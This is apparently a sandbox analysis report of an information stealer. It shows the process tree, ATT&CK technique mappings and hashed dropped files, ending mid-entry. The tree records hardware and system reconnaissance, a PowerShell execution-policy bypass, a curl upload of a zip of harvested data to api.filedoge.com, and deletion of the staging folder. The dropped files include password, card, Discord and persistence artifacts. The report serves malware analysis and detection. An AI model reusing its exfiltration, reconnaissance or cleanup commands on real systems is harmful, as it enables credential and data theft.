- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:448
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:452
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:3956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:4876
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:1048
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:3040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:3776
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:3320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:3980
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:1804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:1592
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:2068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:2912
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:2208
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:3324
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:3464
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1""
  2⤵
  PID:3068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Qivbhiqt.zip";"
  2⤵
  PID:4816
- - C:\Windows\system32\curl.exe
    curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Qivbhiqt.zip";
    3⤵
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:4596
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:4868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:4908
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:4796
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:5064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:3204
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:3980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:4944
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:2028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:3996
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:1784
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:2620
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:1712
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:3384
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:4604
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:5092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:1192
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:3104
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:3116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:1488
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rmdir /s /q "C:/ProgramData/Steam/Launcher""
  2⤵
  PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:1824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:2200
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:1512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:1768
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:1740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:2656
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:116
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:1200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:4092
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:1720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:2420
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:4404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:60
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:3144
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:812
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:1644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:1616
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:2448
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:2380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:1240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:3696
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:4716
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:4884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:2212
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
  2⤵
  PID:2968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
  2⤵
  PID:3152
- - C:\Windows\system32\curl.exe
    curl http://api.ipify.org/ --ssl-no-revoke
    3⤵
    PID:3336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
  2⤵
  PID:4432
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get smbiosbiosversion
    3⤵
    PID:4008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
  2⤵
  PID:2284
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic MemoryChip get /format:list
    3⤵
    PID:1292
- - C:\Windows\system32\find.exe
    find /i "Speed"
    3⤵
    PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  PID:2964
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:744

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Steam\Launcher\EN-QIV~1\debug.log

Filesize
2KB

MD5
f918fbc96c3a5eea4e1425cf6430a2f0

SHA1
1d57f938c70a75279caa059da12988cb65bf4038

SHA256
8a65d4abe7ec0e1cdb9632171ab332e5e932b2050a14c92c7566b6cb0033210b

SHA512
19441eb4386ecc05c774d0b9190566357cc5e39cfcc7ec02d1a9c4f4cff7ff6e7d1c74df639d925110d1e0be4770ac3d9276d73d8bb70d51dad08de04769b93d

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt.zip

Filesize
2KB

MD5
9775023163d384f960c484f7a2fa4716

SHA1
ed4da3a182a087b87e565465a1b3f6a24edc1f8a

SHA256
fef5e1e531120e5510e743e9a4758cc9c581d0f2b8e0ab6ffb18278ca4c37b4f

SHA512
6e4c1a33a783578317e661f627df43dba88e64a7bc40ad0f0a7c8a671a465633255b0ce9a7f3cae7275f808f00f1f7da2757e13649a8153466a0a014455d70f9

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\Autofills\Autofills.txt

Filesize
94B

MD5
2f308e49fe62fbc51aa7a9b987a630fe

SHA1
1b9277da78babd9c5e248b66ba6ab16c77b97d0b

SHA256
d46a44dd86cea9187e6049fd56bb3b450c913756256b76b5253be9c3b043c521

SHA512
c3065baa302032012081480005f6871be27f26da758dc3b6e829ea8a3458e5c0a4740e408678f3ecf4600279d3fcad796f62f35b8591e46200ce896899573024

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\Cards\Cards.txt

Filesize
70B

MD5
8a0ed121ee275936bf62b33f840db290

SHA1
898770c85b05670ab1450a96ea6fbd46e6310ef6

SHA256
983f823e85d9e4e6849a1ed58e5e3464f3a4adbe9d0daeeadd1416cf35178709

SHA512
7d429ce5c04a2e049cdf3f8d8165a989ab7e3e0ac25a7809c12c4168076492b797d2eebaf271ae02c51cb69786c2574ec3125166444e4fa6fc73430f75f8f154

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\Discord\discord.txt

Filesize
15B

MD5
675951f6d9d75fd2c9c06b5ff547c6fd

SHA1
9b474ab39d1e2aad52ea5272dbac7d4f9fe44c09

SHA256
60fe7843b40ed5b7c68118bbba6bfe5f786a76397cdedb80612fd7cefce7f244

SHA512
44dfb6c937283870c6eedf724649004a82631cd8eeb3f9c83e5bca619d1c9ffb8aa5f51c91d57f76789e2747712ce9c6ad207773928e5e00e712f640f8c25aea

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\Passwords\Passwords.txt

Filesize
78B

MD5
c5e74f3120dbbd446a527e785dfe6d66

SHA1
11997c2a53d19fd20916e49411c7a61bfb590e9c

SHA256
e0fd13d912d320faaa64e177b4e75f54ec140692ebc5904d10e1cbe3e811ee05

SHA512
a2bab776d22abf857c7df84b3c90851829eda615fbd450c9c72ab89f97591224380990a86c8e7e40ac811aa1225592743eebed63125d519d138fa28b859f2a3f

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\Screenshots\Screenshot.png

Filesize
439KB

MD5
c446ac8d5b6210fa9c277e3ebad9cbad

SHA1
b0ff1c7292918dee9275c4804ada8b84cb447d6a

SHA256
7d5b3e84480d59ba4c1c14eb32842cb2db4c0e9fb095b4f3a59bf7c18e6dec50

SHA512
1a54bee43166c16c563694b8ea4287e71af67faa61b75821a21c14230676e0450ae3eaa5d8746caa3fec8c666e544bba91143f92a6e67dc9095695cfd3f2a2d5

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\Serial-Check.txt

Filesize
506B

MD5
46d2d530e31988f3e64e49f73ca81ff6

SHA1
ed3e22a959004485c06523feb01825010140e85f

SHA256
b002360d38cdaef1bcc5d5db97345dfa49785052ed8aff59b16c74236ce6289c

SHA512
6535ba826595b2a7360b3d3789d3a8e3088b76d5af45c07593b883891ed36b393e704c993df6aa05a31a4089fa663922fcb6b5706df0db648cc12ce0b7409281

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\debug.log

Filesize
1KB

MD5
214bf99deecdf21a29eeb476dbe1f642

SHA1
1f04f2100717d2cdb6676142f2726a4f33658d4d

SHA256
ae4f2cf36661c3925ef1779a3044c36dfd4bab98aa08478d3fd43991e64b6496

SHA512
f04d56c0aaaceb9763f1d6c59dfca18c7caa4b81abc89592bc29e46a118eb62318a574f96c72e3197d9a12a58110247b56688e4a39959fca35db10cbd3a5fa6e

Download Submit
C:\ProgramData\Steam\Launcher\EN-Qivbhiqt\stolen_files.zip

Filesize
22B

MD5
76cdb2bad9582d23c1f6f4d868218d6c

SHA1
b04f3ee8f5e43fa3b162981b50bb72fe1acabb33

SHA256
8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85

SHA512
5e2f959f36b66df0580a94f384c5fc1ceeec4b2a3925f062d7b68f21758b86581ac2adcfdde73a171a28496e758ef1b23ca4951c05455cdae9357cc3b5a5825f

Download Submit
C:\ProgramData\edge\Updater\CheckEpicGamesLauncher.bat

Filesize
1KB

MD5
9d4c36d2f8eb177f7a6a5bc6c02a052a

SHA1
da2b5539730dd0b466bef5cee51795d621fffdba

SHA256
860b8667c69843c48e291a5d1d64525b349e2696dcb562f4a46defc6f01d1b48

SHA512
731b7afadc45b72ba0517cd59d10e2bb46e2860f8aa4532852ea1f11066512f0a52753ee1985a7e76a5088a00cb662166ea9582fe561b6bc698429a114428b68

Download Submit
C:\ProgramData\edge\Updater\Get-Clipboard.ps1

Filesize
3KB

MD5
a8834c224450d76421d8e4a34b08691f

SHA1
73ed4011bc60ba616b7b81ff9c9cad82fb517c68

SHA256
817c184e6a3e7d1ff60b33ec777e23e8e0697e84efde8e422833f05584e00ea5

SHA512
672b3eca54dff4316db904d16c2333247e816e0cd8ef2d866111ddb49ab491568cc12d7263891707403dd14962326404c13855d5de1ae148114a51cb7d5e5596

Download Submit
C:\ProgramData\edge\Updater\RunBatHidden.vbs

Filesize
146B

MD5
14a9867ec0265ebf974e440fcd67d837

SHA1
ae0e43c2daf4c913f5db17f4d9197f34ab52e254

SHA256
cca09191a1a96d288a4873f79a0916d9984bd6be8dcbd0c25d60436d46a15ca1

SHA512
36c69c26fd84b9637b370a5fe214a90778c9ade3b11664e961fe14226e0300f29c2f43d3a1d1c655d9f2951918769259928bbbc5a9d83596a1afc42420fc1a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f0c73ec63d85b1e9beebc2489983fcff

SHA1
1f6c1b4446a4034fa04795d37977b0432126b82d

SHA256
7b8e593c69110c985e0b83996cd442a4ba5158e5b4bf5ab930d59a27311cc542

SHA512
de9bf7f71ec6ddcb0a3f6d1bfe1ce744ded11aaa60aa65f7c950b090cada763156edbb155bcd907e67ec33a70c7d7a895a9ed353ce46654ee09926eb9ec2ea73

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
40fac1b1cdc131cce25a068795a775f1

SHA1
a591f8ef09d8b1f60068724d21a49a43b3273121

SHA256
02a4aa345dba123257bf2b082859ffca77a042cb9fedc66e5d2506b638d2471e

SHA512
2715f068e0e8bc128b2ed10abe3e417dcf7b8e624d974746d9b1232d5a1f3ab2d7cd8787b2a8e6f4701e732389758712bcdd0939e7d09ee6329d368b652a371f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0f607d2d616cf514dc21431c9ca6ea47

SHA1
cc31421963e9dfb6e70f40195df2fb25b09c97fe

SHA256
0515b796d513d005aad1dfb717b5e98480de66a649a9176a7567bb788ea237d5

SHA512
72153e101970faf7f25dae19b63872004fe790c4aabbf80267d6931e397cf5914b2dc68557a5bf3a1d64c0fe65c2670999f4a28d2eb881fb7afb03f016c26a65

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f58e3438f147fcc00edf8cd74308cc27

SHA1
f2eef0624e3a5da518538d7d7257a5c03b83654c

SHA256
379f00d1eba06d8462cd1b2e9abe340cd10921bdb5848988b60d545edc02df22

SHA512
4de19b0f3ab2a0809dcc9dc44e2543bc9c8f94af959975b20ddd593f7dbb4b5ac4aa46015e3b138cd2a4e6d1b97c999cbb1da0deae2dc47ca1ba482fdf0bf9d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ca24df1817fa1aa670674846e5d41614

SHA1
dac66ea013bcc46d24f1ece855568187c6080eaf

SHA256
3b9d5525002b14e4b5c044e80d3035420d037b48d94a1f836c5a253df0c539db

SHA512
fb1848fa381fa360171ba13e1aa15c7029ff543c806f34ae524f04bda637b48e1aa06e831843aa830173c0a218072da7f3d0bc52ce56364b888c53234a224631

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1

Filesize
2KB

MD5
8fd21d84003fd8269ffd9d30808d7ab9

SHA1
2cbf3ed27e138ee38e49b0163d9969eccbec986f

SHA256
564cb518a724e03044c45f268be58c58ff4c440466e16b4f46abd83b542bff55

SHA512
1bca3926e55019148a32e27edb9bda094844e9e960521edf1c8252690a7a8457b08ee84f5fefb09686bd36e34c714ac428812d9f6beaa03b298725d841159f97

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB371.tmp

Filesize
1KB

MD5
012da1e94efc732342b1142c64a4497f

SHA1
3edbf97c411a3ff572477230e69f809bbbd21ec6

SHA256
63327c3ef7cde08225cdbf4c4ab0de86961151dec29b98e3aebca304ca30e01f

SHA512
5b5917c449583379d090bf02293d40aa2ebbd600d7dfe2bd01ab6c66e91653281d14d5c3fa43e652d795288f4350a95d44c39cdf98ddab704ab7562c5203bd97

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBB32.tmp

Filesize
1KB

MD5
d159f920248d86b6026b428999c01ea0

SHA1
ea340fd732cff6bf09206fc049232b61193eae0b

SHA256
5358f72e14090901bd8cf7fa29ab367cec588ec1fbeee74ded133113d23ed887

SHA512
1dec2ef8549105c9ce9df163694126024587c776dcd1ba95157eb0f1786d56c8012caa3ed1e606b138b70061dffb7cd54330a9f43a7c72df3944a20d09e52665

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzgw114a.rul.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\elhpjo5g\elhpjo5g.dll

Filesize
3KB

MD5
